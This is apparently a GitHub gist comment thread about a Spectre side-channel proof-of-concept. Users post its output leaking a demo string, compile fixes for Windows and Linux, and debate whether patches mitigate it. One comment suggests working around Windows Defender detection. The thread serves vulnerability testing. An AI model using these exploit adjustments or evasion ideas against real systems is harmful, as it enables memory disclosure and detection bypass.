Reading at malicious_x = FFFFF109... Unclear: 0x69='i' score=107 (second best: 0x06 score=56)
Reading at malicious_x = FFFFF10A... Unclear: 0x0E='?' score=56 (second best: 0x08 score=56)
Reading at malicious_x = FFFFF10B... Success: 0x72='r' score=2
Reading at malicious_x = FFFFF10C... Unclear: 0x00='?' score=58 (second best: 0x0E score=58)
Reading at malicious_x = FFFFF10D... Unclear: 0x04='?' score=59 (second best: 0x0E score=57)
Reading at malicious_x = FFFFF10E... Unclear: 0x05='?' score=60 (second best: 0x06 score=58)
Reading at malicious_x = FFFFF10F... Unclear: 0x00='?' score=56 (second best: 0x0D score=56)

@ssstonebraker @michael-brade @Symbian9
check this out: https://github.com/raphaelsc/Am-I-affected-by-Meltdown
(looks like a real effort to test if system is affected by meltdown, not a joke-script)

tosha13 commented Jan 9, 2018

Lenovo L450

antony@antony-L450:$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
antony@antony-L450:
$ lscpu
Архитектура:x86_64
CPU op-mode(s): 32-bit, 64-bit
Порядок байтов:Little Endian
CPU(s): 4
On-line CPU(s) list: 0-3
Потоков на ядро:2
Ядер на сокет:2
Сокет(ы): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
Семейство CPU:6
Модель: 61
Model name: Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz
Stepping: 4
CPU МГц: 2499.975
CPU max MHz: 2700,0000
CPU min MHz: 500,0000
BogoMIPS: 4389.94
Виртуализация:VT-x
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 3072K
NUMA node0 CPU(s): 0-3
Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap xsaveopt dtherm ida arat pln pts
antony@antony-L450:$ gcc -std=c99 -O0 spectre.c -o spectre
antony@antony-L450:
$ chmod +x spectre
antony@antony-L450:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=7 (second best: 0x22 score=1)
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=7 (second best: 0x00 score=2)
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=7 (second best: 0x86 score=1)
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2

i8700k with 4.15.0.994 kernel

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Unclear: 0x54=’T’ score=969 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfedf9... Unclear: 0x68=’h’ score=998 (second best: 0x01 score=776)
Reading at malicious_x = 0xffffffffffdfedfa... Unclear: 0x65=’e’ score=998 (second best: 0x01 score=812)
Reading at malicious_x = 0xffffffffffdfedfb... Unclear: 0x20=’ ’ score=992 (second best: 0x01 score=791)
Reading at malicious_x = 0xffffffffffdfedfc... Unclear: 0x4D=’M’ score=991 (second best: 0x01 score=815)
Reading at malicious_x = 0xffffffffffdfedfd... Unclear: 0x61=’a’ score=999 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=25 (second best: 0x01 score=10)
Reading at malicious_x = 0xffffffffffdfedff... Unclear: 0x69=’i’ score=999 (second best: 0x6A score=811)
Reading at malicious_x = 0xffffffffffdfee00... Unclear: 0x63=’c’ score=999 (second best: 0x01 score=806)
Reading at malicious_x = 0xffffffffffdfee01... Unclear: 0x20=’ ’ score=990 (second best: 0x01 score=760)
Reading at malicious_x = 0xffffffffffdfee02... Unclear: 0x57=’W’ score=998 (second best: 0x01 score=807)
Reading at malicious_x = 0xffffffffffdfee03... Unclear: 0x6F=’o’ score=991 (second best: 0x01 score=740)
Reading at malicious_x = 0xffffffffffdfee04... Unclear: 0x72=’r’ score=999 (second best: 0x01 score=760)
Reading at malicious_x = 0xffffffffffdfee05... Unclear: 0x64=’d’ score=980 (second best: 0x01 score=747)
Reading at malicious_x = 0xffffffffffdfee06... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=776)
Reading at malicious_x = 0xffffffffffdfee07... Unclear: 0x20=’ ’ score=983 (second best: 0x01 score=771)
Reading at malicious_x = 0xffffffffffdfee08... Unclear: 0x61=’a’ score=999 (second best: 0x01 score=787)
Reading at malicious_x = 0xffffffffffdfee09... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdfee0a... Unclear: 0x65=’e’ score=972 (second best: 0x01 score=760)
Reading at malicious_x = 0xffffffffffdfee0b... Unclear: 0x20=’ ’ score=977 (second best: 0x01 score=759)
Reading at malicious_x = 0xffffffffffdfee0c... Unclear: 0x53=’S’ score=999 (second best: 0x01 score=780)
Reading at malicious_x = 0xffffffffffdfee0d... Unclear: 0x71=’q’ score=986 (second best: 0x01 score=761)
Reading at malicious_x = 0xffffffffffdfee0e... Unclear: 0x75=’u’ score=999 (second best: 0x01 score=781)
Reading at malicious_x = 0xffffffffffdfee0f... Unclear: 0x65=’e’ score=994 (second best: 0x01 score=770)
Reading at malicious_x = 0xffffffffffdfee10... Unclear: 0x61=’a’ score=998 (second best: 0x01 score=749)
Reading at malicious_x = 0xffffffffffdfee11... Unclear: 0x6D=’m’ score=997 (second best: 0x01 score=821)
Reading at malicious_x = 0xffffffffffdfee12... Unclear: 0x69=’i’ score=999 (second best: 0x01 score=744)
Reading at malicious_x = 0xffffffffffdfee13... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=766)
Reading at malicious_x = 0xffffffffffdfee14... Unclear: 0x68=’h’ score=999 (second best: 0x01 score=821)
Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=’ ’ score=17 (second best: 0x01 score=6)
Reading at malicious_x = 0xffffffffffdfee16... Unclear: 0x4F=’O’ score=965 (second best: 0x01 score=758)
Reading at malicious_x = 0xffffffffffdfee17... Unclear: 0x73=’s’ score=998 (second best: 0x01 score=749)
Reading at malicious_x = 0xffffffffffdfee18... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfee19... Unclear: 0x69=’i’ score=999 (second best: 0x01 score=800)
Reading at malicious_x = 0xffffffffffdfee1a... Unclear: 0x66=’f’ score=974 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfee1b... Unclear: 0x72=’r’ score=999 (second best: 0x01 score=773)
Reading at malicious_x = 0xffffffffffdfee1c... Unclear: 0x61=’a’ score=999 (second best: 0x01 score=792)
Reading at malicious_x = 0xffffffffffdfee1d... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=749)
Reading at malicious_x = 0xffffffffffdfee1e... Unclear: 0x65=’e’ score=992 (second best: 0x01 score=753)
Reading at malicious_x = 0xffffffffffdfee1f... Unclear: 0x2E=’.’ score=976 (second best: 0x01 score=755)

Could anyone actually read addresses from other processes?
If I pass another addresses as arguments, such as "0x123f00 12", the program reads from null.

./a.out 0x123f00 12
Reading 12 bytes:
Reading at malicious_x = 0xffffaa79248cae80... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae81... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae82... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae83... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae84... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae85... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae86... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae87... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae88... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae89... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae8a... Success: 0x00=’e’ score=3 
Reading at malicious_x = 0xffffaa79248cae8b... Success: 0x00=’e’ score=3 

asm commented Jan 9, 2018

I noticed the cache timing method in this PoC is just using the fastest read time to pick the byte value. While this works most of the time, it's not always the most accurate. For fun, I used a neural network to pick the correct byte value and pushed the code here: https://github.com/asm/deep_spectre.

Here's example output:

./spectre.py
Using TensorFlow backend.
Collecting training data...
Scaling data between 0-1...
Training deep model...
Train on 48000 samples, validate on 16000 samples
Epoch 1/10
48000/48000 [==============================] - 4s 83us/step - loss: 2.9168 - acc: 0.3363 - val_loss: 0.7985 - val_acc: 0.8276
Epoch 2/10
48000/48000 [==============================] - 4s 73us/step - loss: 0.4543 - acc: 0.9007 - val_loss: 0.3505 - val_acc: 0.9204
Epoch 3/10
48000/48000 [==============================] - 4s 75us/step - loss: 0.2802 - acc: 0.9367 - val_loss: 0.2825 - val_acc: 0.9335
Epoch 4/10
48000/48000 [==============================] - 3s 73us/step - loss: 0.2516 - acc: 0.9441 - val_loss: 0.2948 - val_acc: 0.9293
Epoch 5/10
48000/48000 [==============================] - 4s 73us/step - loss: 0.2368 - acc: 0.9451 - val_loss: 0.2640 - val_acc: 0.9361
Epoch 6/10
48000/48000 [==============================] - 4s 73us/step - loss: 0.2320 - acc: 0.9460 - val_loss: 0.2765 - val_acc: 0.9360
Epoch 7/10
48000/48000 [==============================] - 3s 73us/step - loss: 0.2405 - acc: 0.9458 - val_loss: 0.2588 - val_acc: 0.9376
Epoch 8/10
48000/48000 [==============================] - 4s 74us/step - loss: 0.2324 - acc: 0.9468 - val_loss: 0.2502 - val_acc: 0.9403
Epoch 9/10
48000/48000 [==============================] - 4s 73us/step - loss: 0.2269 - acc: 0.9474 - val_loss: 0.2452 - val_acc: 0.9408
Epoch 10/10
48000/48000 [==============================] - 3s 72us/step - loss: 0.2277 - acc: 0.9467 - val_loss: 0.2663 - val_acc: 0.9392
The secret message is: The Magic Words are Squeamish Ossifrage.

pavlinux commented Jan 9, 2018

./a.out
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfef38... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef39... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef3a... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef3b... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef3c... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef3d... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef3e... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef3f... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef40... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef41... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef42... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef43... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef44... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef45... Success: 0xFF=? score=0
Reading at malicious_x = 0xffffffffffdfef46... Success: 0xFF=? score=0

...
AMD Opteron(tm) Processor 4386, Debian 8.10, linux 4.14.1 :-p

moonsyi commented Jan 10, 2018

uhhh, after the BIOS update, still can run the code.
explorer_2018-01-10_09-44-58

JohnLM commented Jan 10, 2018

AMD Phenom 9950 Quad-Core:
All characters revealed (score=2) with default CACHE_HIT_THRESHOLD=80

MarkJurich commented Jan 10, 2018

FYI:

To compile/link/run under Win7x64 & Visual Studio 2010, create a C++ Win32 Console Project (uncheck pre-compiled header check box), save as a .c source file, stay under "Debug" (no code optimization) vs "Release", and be aware of the following source code changes, depending if you start with this source or the original spectre.pdf research paper source (Copy & Pasted):

Legend: This Source Line Number(Original PDF Paper Source Line Number): OriginalStringSegment --> NewStringSegment // Comment

--( 13): */ --> */ // Copy & Paste from the Original PDF Source might need fixup at the end of comment
50( --): #define CACHE_HIT_THRESHOLD(80) --> #define CACHE_HIT_THRESHOLD (80) // There must be some whitespace between THRESHOLD and (80)
55( 39): int tries, i, j, k, mix_i, junk = 0; --> int tries, i, j, k, mix_i = 0; unsigned int junk = 0; // integer junk must be defined as unsigned integer junk
58( 42): volatile uint8_t * addr; --> volatile uint8_t * addr; volatile int z; // z must be defined at the beginning of the coding block
72( 56): volatile int z = 0; --> z = 0; // z declaration has been moved to the beginning of the coding block (above)
125(107): sscanf --> sscanf_s // to alleviate a compiler warning, sscanf must be sscanf_s
127(109): sscanf --> sscanf_s // to alleviate a compiler warning, sscanf must be sscanf_s
135(117): ’%c’ --> \'%c\' // fancy single quotes should be changed normal single quotes for command window
// displaying, but need to be escaped with backslashes in the double quoted string
136(118): "?" --> '?' ( ’?’ --> '?' ) // double or fancy quotes need to be normal single quotes

The created .exe (I called it Spectre.exe) should run in a Command Window. I tested two up-to-date Win7x64 Systems, with the following CPUs, and Positive Results:

Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz (Ivy Bridge) lenovo X230
Intel(R) Core(TM) i7-3720QM CPU @ 2.60GHz (Ivy Bridge) lenovo W530

The i5 had the (KAISER) Windows Update for MeltDown/Spectre, which doesn't do anything to stop this variant of Spectre. I'm still waiting for any possible firmware updates to apply to either system. On the i5 (yesterday), I played with the Cache Hit Threshold from about 25 up to 200 with Positive Results, if I recall correctly.

I need some clarification. The spectre attack reads memory used by OTHER process that itself. In the example here the compiled executable file is reading ITS OWN memory trying tho show the secret word.

I don't get it.

MarkJurich commented Jan 10, 2018

@nuvvanda

You are exactly right.

This example is a simple demonstration of how the attack works. If you read the research paper (spectre.pdf), there are descriptions of how it might be deployed via the web and attacking another application. This example attacks its own code to show how it works, in principle. It's actually not reading the string but executing code close to it, revealing the character string (essentially).

Hope this helps.

HenkPoley commented Jan 10, 2018

@moonsyi yes, the process internal variant of Spectre (as in this PoC) will probably never be patched. If you want to keep some data secure from a piece of untrusted running code, you should move it outside the piece of code's process.

The patches that you are running protect against 'remote sensing' of memory from other processes, and 'remote sensing' of kernel memory.

@MarkJurich: No OS fix can mitigate this specific exploit as it runs in the process address space.
But you should not be able to read kernel data. The only way is a speculation fence. But this means adding code.

MarkJurich commented Jan 10, 2018

@42Bastian:

What you say is correct, but I don't think my postings challenged them. If it appeared that way, my dearest apologies...

Spectre Attacks (in research paper) can be Inter-Application (not necessarily targeting the kernel directly). Windows Updates are not restricted to OS Fixes. Firmware Updates can address some forms of attack. Software Patching (especially Signature Identification) can address immediate concerns. Is this going to stop Spectre Attacks, completely? Absolutely not (as the research paper alludes to). New Processor Designs eventually should...

... I would never say this code is reading kernel data. I mentioned it attacks itself as a demonstration. What we do know at this time, is that to start guarding against these forms of attacks (short of a new processor design), there will be much CPU overhead, and that overhead will depend on your current processor. I've read reports that some machine slowdowns as much as 30% may occur, with such solutions as speculation fencing, and that is what we have to look forward to, in the near future...

Intra-Application Spectre Attacks address the core flaw in Processor Design. Let's hope we can work together to protect against Spectre until machines/boxes get replaced due to attrition, etc.

MarkJurich commented Jan 10, 2018

Information on Spectre

[1] Spectre Attacks: Exploiting Speculative Execution
https://arxiv.org/abs/1801.01203
(If you are having trouble obtaining the paper from the repository, search for spectre.pdf to find an alternate source.)
| The above produced PDF from the arXiv Repository doesn't print out well, here (with URLs), so I am including a link to the most
| widely referenced URL to the research paper:
| https://spectreattack.com/spectre.pdf

[2] Google Project 0 Blog
https://googleprojectzero.blogspot.com/
https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html

Menny11 commented Jan 11, 2018

in order to compile the code for my Core 2 duo e8500 in windows 10 x64 I used
gcc -O0 -std=c11 -march=native spectre.c -o spectre.exe
(in other cases there were compile errors or runtime errors)
Also i had to change
time1 = __rdtsc();
.....
time2 = __rdtsc() - time1;
No matter how i select CACHE_HIT_THRESHOLD i was not able to get more than 2 characters 'deciphered'
so this proccessor is vulnerable too but why i cant get all of the characters?!

apps4u commented Jan 11, 2018

I'm running on a mac os x 10.13.2 , and I was able to get the secret with a cache threshold as low as 40, But that is not the reason for this post, I installed the fix apple released today that is ment to fix this issue but I still can use this to get the secret,

https://support.apple.com/en-au/HT208397

That is the link to the Security Update that said will fix spectre but it has not.

screen shot 2018-01-11 at 12 49 54 pm

screen shot 2018-01-11 at 12 53 01 pm

MarkJurich commented Jan 11, 2018

@Menny11:

Have you seen this post about possibly fencing the timer calls to ensure serialization?:
https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2314165

... That's all I can think of, at the moment.

| I was able to get results using an older Intel Penryn CPU and created a code fork in the repository. This code uses a suggestion made earlier:
| https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2312432
| CPU Specifics: Intel Core 2 Duo CPU T9400 @ 2.53GHz (Code Name: Penryn)
| Warning! ... Very slow. May have to ^c out of it. Must tickle cache by opening window folder views if it stalls and there will still be
| a couple/few wrong characters, but this one time out of about 100 tries, I got a clean result:
| https://gist.github.com/MarkJurich/319a23a7d362d355480fd7ac659c2618
image

MarkJurich commented Jan 11, 2018

@apps4u:

Perhaps the security update in question, prevents Inter-Application Spectre Attacks, but is ineffective with Intra-Application Spectre Attacks? If that is the case, it is effectively preventing the worst type of Spectre Attacks, which is a good thing. Unfortunately, no one has published a working Spectre Attack Example on a secure/privileged segment, as far as I know, so far, so it would be difficult to test. This code is suppose to accept command arguments to possibly allow this, but no one has got it to work or showed a working example, that I know...

It will be much more difficult to prevent this example code that attacks itself, as mentioned earlier...

... Sorry I can't help further, but thought I should comment. Thanks for bringing the update to our attention, though. Perhaps someone else with more knowledge will comment, soon.

| Answered better in: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2317924

Ubuntu 16.04.3 LTS
Intel(R) Xeon(R) CPU E5-1620 0 @ 3.60GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
spectre

Kali GNU/Linux Rolling (VM)
Intel(R) Core(TM) i7-4910MQ CPU @ 2.90GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
A steady score of 2.
Questions => What is the meaning of "score"?
=> Why the score difference between i7 and Xeon?

spectre2

@apps4u:

Description: macOS High Sierra 10.13.2 Supplemental Update includes security improvements to Safari and WebKit to mitigate the effects of Spectre (CVE-2017-5753 and CVE-2017-5715).

They rolled out updates for the browser, not native apps.

unzueta commented Jan 11, 2018

Works in Windows Build 17063 prerelease With i5-7400 CPU. It is detected by Windows defender, however.
Compiled with Microsoft C/C++ Compiler
image
image

This is completely crazy.
Works also through Wine Emulator.
wine

alexs77 commented Jan 11, 2018

Doesn't compile here on Ubuntu 16.04 with gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.5).

14:31:38 [ask@ewzw071:~/tmp/müll]↥ 1 % gcc -march=athlon64 -std=c99 -O0 spectre.c -o spectre
spectre.c: In function ‘readMemoryByte’:
spectre.c:89:15: error: too few arguments to function ‘__rdtscp’
       time1 = __rdtscp(); /* READ TIMER */
               ^
In file included from /usr/lib/gcc/x86_64-linux-gnu/5/include/x86intrin.h:27:0,
                 from spectre.c:8:
/usr/lib/gcc/x86_64-linux-gnu/5/include/ia32intrin.h:112:1: note: declared here
 __rdtscp (unsigned int *__A)
 ^
spectre.c:91:15: error: too few arguments to function ‘__rdtscp’
       time2 = __rdtscp() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
               ^
In file included from /usr/lib/gcc/x86_64-linux-gnu/5/include/x86intrin.h:27:0,
                 from spectre.c:8:
/usr/lib/gcc/x86_64-linux-gnu/5/include/ia32intrin.h:112:1: note: declared here
 __rdtscp (unsigned int *__A)
 ^
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:12: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
            ^

MarkJurich commented Jan 11, 2018

@alexs77:

It looks like the rdtscp function requires at least one argument. The original source used "&junk" as the argument. I think if you put that back in everywhere, those errors will go away. Under Win7x64/MSVS2010, I had to define junk as an unsigned int instead of int. See my previous post for other fix-ups that might lead to a clean compilation:

https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2316763

@unzueta: Thanks for the info about Windows Defender/AV blocking it. It looks like we'll have to get a bit fancier, allowing us to continue testing with it, since MS is already kicking in Signature Detection.

freakynit commented Jan 11, 2018

I was able to recover completely 💯

  • Reading 40 bytes:
    Reading at malicious_x = 0xfffffffffffffeb6... Success: 0x54=’T’ score=2
    Reading at malicious_x = 0xfffffffffffffeb7... Success: 0x68=’h’ score=15 (second best: 0x02 score=5)
    Reading at malicious_x = 0xfffffffffffffeb8... Success: 0x65=’e’ score=23 (second best: 0x02 score=9)
    Reading at malicious_x = 0xfffffffffffffeb9... Success: 0x02=’?’ score=23 (second best: 0x01 score=9)
    Reading at malicious_x = 0xfffffffffffffeba... Success: 0x4D=’M’ score=315 (second best: 0x02 score=155)
    Reading at malicious_x = 0xfffffffffffffebb... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xfffffffffffffebc... Success: 0x67=’g’ score=13 (second best: 0x02 score=4)
    Reading at malicious_x = 0xfffffffffffffebd... Success: 0x69=’i’ score=11 (second best: 0x02 score=3)
    Reading at malicious_x = 0xfffffffffffffebe... Success: 0x63=’c’ score=23 (second best: 0x02 score=9)
    Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x20=’ ’ score=529 (second best: 0x02 score=491)
    Reading at malicious_x = 0xfffffffffffffec0... Success: 0x57=’W’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffec1... Success: 0x6F=’o’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x72=’r’ score=986 (second best: 0x02 score=663)
    Reading at malicious_x = 0xfffffffffffffec3... Success: 0x64=’d’ score=2
    Reading at malicious_x = 0xfffffffffffffec4... Success: 0x73=’s’ score=71 (second best: 0x02 score=33)
    Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x20=’ ’ score=871 (second best: 0x02 score=726)
    Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x61=’a’ score=966 (second best: 0x02 score=596)
    Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x72=’r’ score=985 (second best: 0x02 score=596)
    Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x65=’e’ score=982 (second best: 0x02 score=752)
    Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x20=’ ’ score=888 (second best: 0x02 score=677)
    Reading at malicious_x = 0xfffffffffffffeca... Success: 0x53=’S’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffecb... Success: 0x71=’q’ score=357 (second best: 0x02 score=176)
    Reading at malicious_x = 0xfffffffffffffecc... Success: 0x75=’u’ score=2
    Reading at malicious_x = 0xfffffffffffffecd... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xfffffffffffffece... Success: 0x61=’a’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffecf... Success: 0x6D=’m’ score=281 (second best: 0x02 score=138)
    Reading at malicious_x = 0xfffffffffffffed0... Success: 0x69=’i’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffed1... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xfffffffffffffed2... Success: 0x68=’h’ score=2
    Reading at malicious_x = 0xfffffffffffffed3... Success: 0x20=’ ’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed4... Success: 0x4F=’O’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed5... Success: 0x73=’s’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffed6... Success: 0x73=’s’ score=11 (second best: 0x02 score=3)
    Reading at malicious_x = 0xfffffffffffffed7... Success: 0x69=’i’ score=13 (second best: 0x01 score=4)
    Reading at malicious_x = 0xfffffffffffffed8... Success: 0x66=’f’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed9... Success: 0x72=’r’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffeda... Success: 0x61=’a’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffedb... Success: 0x67=’g’ score=9 (second best: 0x01 score=2)
    Reading at malicious_x = 0xfffffffffffffedc... Success: 0x65=’e’ score=23 (second best: 0x01 score=9)
    Reading at malicious_x = 0xfffffffffffffedd... Success: 0x2E=’.’ score=2

adrb commented Jan 11, 2018

Architecture independent version, tested on ARM Allwinner H3 (not vulnerable) and Intel i7 (vulnerable):

https://github.com/adrb/public/tree/master/linux/spectre_multiarch

@ewheelerinc thanks for the update. As expected, it works inside VMs as well. If you got a patched KVM-Host (e.g. CentOS7) and a non-patched VM (e.g. Debian stable), could you please test if it's still exploitable in the VM? (I expect it is...)

@adrb: The Allwinner H3 uses cortex A7 cores, but it's good to confirm ARM's report about A7 not being affected.

@kingsumos very nice find indeed! thank you!
It is just a little surprising... an i7-6700HQ, linux v4.9.74, no grsec, is supposedly not affected, but I don't believe that. I'll watch the repo and wait for improvements.

adrb commented Jan 11, 2018

@kuleszdl, well yes, I just had it at hand to test ;) But, as I mention, with that mod, you can test all kinds of architectures supported by Linux.

Had to tweak a little bit.

1 - #define CACHE_HIT_THRESHOLD (80) - Add a space between the "namespace" (whatever you wanna call it) and the argument.
2 - printf("0x%02X=’%c’ score=%d ", value[0],(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); - Correct the formatting and instead of "?", replace by '?'.

PS: I'm not a low-level kind of guy, bear with me.

Got the expected output, which is kind of worrying, but no point to worry about it anyways. We're fucked.

rhalff commented Jan 14, 2018

Strange, works for me although I have the intel-microcode patch already installed on ubuntu: https://usn.ubuntu.com/usn/usn-3531-1/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment